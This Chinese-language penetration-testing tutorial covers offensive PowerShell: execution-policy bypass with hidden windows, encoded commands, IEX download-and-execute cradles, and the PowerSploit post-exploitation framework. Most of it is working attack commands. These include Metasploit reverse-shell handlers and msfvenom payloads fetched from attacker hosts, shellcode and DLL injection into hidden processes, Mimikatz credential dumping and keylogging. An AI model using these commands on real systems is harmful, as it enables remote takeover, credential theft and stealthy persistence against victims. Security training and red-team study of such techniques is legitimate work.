ps

PowerShell

简介

一旦攻击者可以在目标主机上运行代码,就可以运行PowerShell(.psl)脚本。

cmd可能会被杀软阻止运行,而ps不会,攻击者可以持续攻击而不被轻易发现。

可以输入get-host查看PowerShell版本

执行策略

为防止恶意脚本执行,PowerShell有一个默认执行策略,被设为受限。

使用以下命令查看当前执行策略

Get-ExecutionPolicy

解释

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地脚本可运行,网上下载的不行

AllSigned:仅当脚本由受信任的发布者签名时才能运行

Unrestricted:允许所有的脚本运行

Set-ExecutionPolicy <policy name> //设置执行策略

运行脚本

C:\Scripts\a.psl //指定路径运行

.\a.psl    //在当前目录下运行

管道

管道的作用是:将一个命令的输出作为另一个命令的输入

ps>    Get-Process p* | stop-process    //停止所有以"p"开头命名的程序

PowerShell常用命令

要运行PowerShell脚本,就必须使用管理员权限将Restricted策略改成Unrestricted,

所以渗透时需要采用一些方法绕过策略来执行脚本。

绕过本地权限执行

PowerShell.exe -ExecutionPolicy Bypass -File xx.psl

本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Nologo -Nonlnteractive -NoProfile -File xx.psl

用IEX下载远程PSl脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xx.psl");[Parameters]

参数说明:

ExecutionPolicy Bypass:绕过执行安全策略

WindowsStyle Hidden:隐藏窗口

NoLogo:启动不显示版权标志的PowerShell

Nonlnteractive(-NonI):非交互模式,不提供交互提示

NoProfile(-NoP):不加载当前用户的配置文件

Noexit:执行后不退出Shell。对键盘记录有用

通过编码的方式执行

一个最简单的例子:

使用编码的方式执行whoami命令,我们首先使用下面的命令来进行编码

$command = "whoami" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
echo $encodedCommand

这串代码执行完之后就会打印出编码结果,之后直接执行即可

powershell.exe -EncodedCommand $encodedCommand

搭建小型HTTP服务器

在Linux内网环境-m SimpleHTTPServer 即可,windows内网则可以用下面方法搭建。

HTTPListener-API

搭建HTTP服务器也是调用了.Net的API—HttpListener

# This script will execute in background
start-job { 
    $p=Get-Location #可以获取当前用户的目录$p.path
    $H=New-Object Net.HttpListener
    $H.Prefixes.Add("http://+:8889/")
    $H.Start()
    While ($H.IsListening) {
        $HC=$H.GetContext()
        $HR=$HC.Response
        $HR.Headers.Add("Content-Type","text/plain")

        $file=Join-Path $p.path ($HC.Request).RawUrl
        $text=[IO.File]::ReadAllText($file)
        $text=[Text.Encoding]::UTF8.GetBytes($text)

        $HR.ContentLength64 = $text.Length
        $HR.OutputStream.Write($text,0,$text.Length)
        $HR.Close()
    }
    $H.Stop()
}

.\http.psl直接运行就能在后台运行,Powershell会返回一个任务ID

如果我们需要停止这个HTTP,只需要Stop-Job -id 1即可

远程加载执行

命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/http.ps1');"

只需要在本地开一个Web服务,之后通过上面的命令下载脚本即可,还可以和上面编码的方式并用.

实例工具

mimikittenz

mimikittenz下载地址

需要管理员权限,并修改执行策略

在当前目录导入模块运行即可

BloodHound

链接 中文名猎犬,内网信息域内关系与细节整理,这个工具是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。

DeathStar

链接 中文名死星,域管理员权限

这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。

PowerSploit后渗透框架

这是一款基于PowerShell的后渗透框架软件,包含很多ps攻击脚本,

主要用于渗透中的信息侦察、权限提升、权限维持

地址:https://github.com/PowerShellMafia/PowerSploit

把下载的脚本放在自己服务器(www)上以供访问下载

kali上开启Apache服务:service apache2 start

把下载的脚本移动到var/www/html目录,在网页中打开http://IP/PowerSploit/

各模块功能

AntivirusBypass 发现杀软查杀特征

CodeExecution 在目标主机执行代码

Exfiltration 目标主机上的信息搜集工具

Mayhem 蓝屏等破坏性脚本

Persistence 后门脚本(持久性控制)

Recon 以目标主机为跳板进行内网信息侦查

ScriptModification 在目标主机上创建或修改脚本

实战攻击

Invoke-Shellcode 进程注入

常用于将ShellCode插入到指定的进程ID或本地PowerShell中

1.直接执行ShellCode反弹msf shell

1)msf 里用reverse_https模块进行反弹

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set LHOST 攻击者IP

run

2)使用msfvenom生成psl木马

msfvenom -p windows/meterpreter/reverse_https LHOST=攻击IP LPORT=4444 -f powershell -o /var/www/html/test

3)在目标机PowerShell输入命令,下载该脚本(Invoke-Shellcode)

IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-Shellcode.psl")

4)下载木马

IEX(New-Object Net.WebClient).DownloadString("http://IP/test")

5)运行木马

Invoke-Shellcode -Shellcode ($buf) -Force #-Force的意思是不用提示,直接执行

然后查看msf是否反弹成功。

2.指定进程注入ShellCode反弹msf shell

1)下载PowerShell脚本,和msf木马

IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-Shellcode.psl")

IEX(New-Object Net.WebClient).DownloadString("http://IP/test")

2)生成新进程

ps #查看系统进程

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

3)进程注入

Invoke-Shellcode -ProcessID 5030 -Shellcode ($buf) -Force #5030是刚开的记事本的PID

msf查看是否反弹成功

Invoke-Dllnjection DLL注入

1)下载脚本

IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

2)生成msf木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll

3)开启隐藏进程,进行DLL注入

Start-Process C:\windows\system32\notepad.exe  -WindowStyle Hidden

Invoke-DllInjection -ProcessID 4080 -Dll C:\msf.dll

Invoke-Portscan端口扫描

Invoke-Portscan -Hosts 192.168.1.21,192.168.1.32 -Ports "80,22,3389"

Invoke-Mimikatz DUMP密码(注意此脚本需要用管理员权限运行)

Invoke-Mimikatz –DumpCreds

Get-Keystrokes 键盘记录器

Get-Keystrokes -LogPath c:\test.txt

Last updated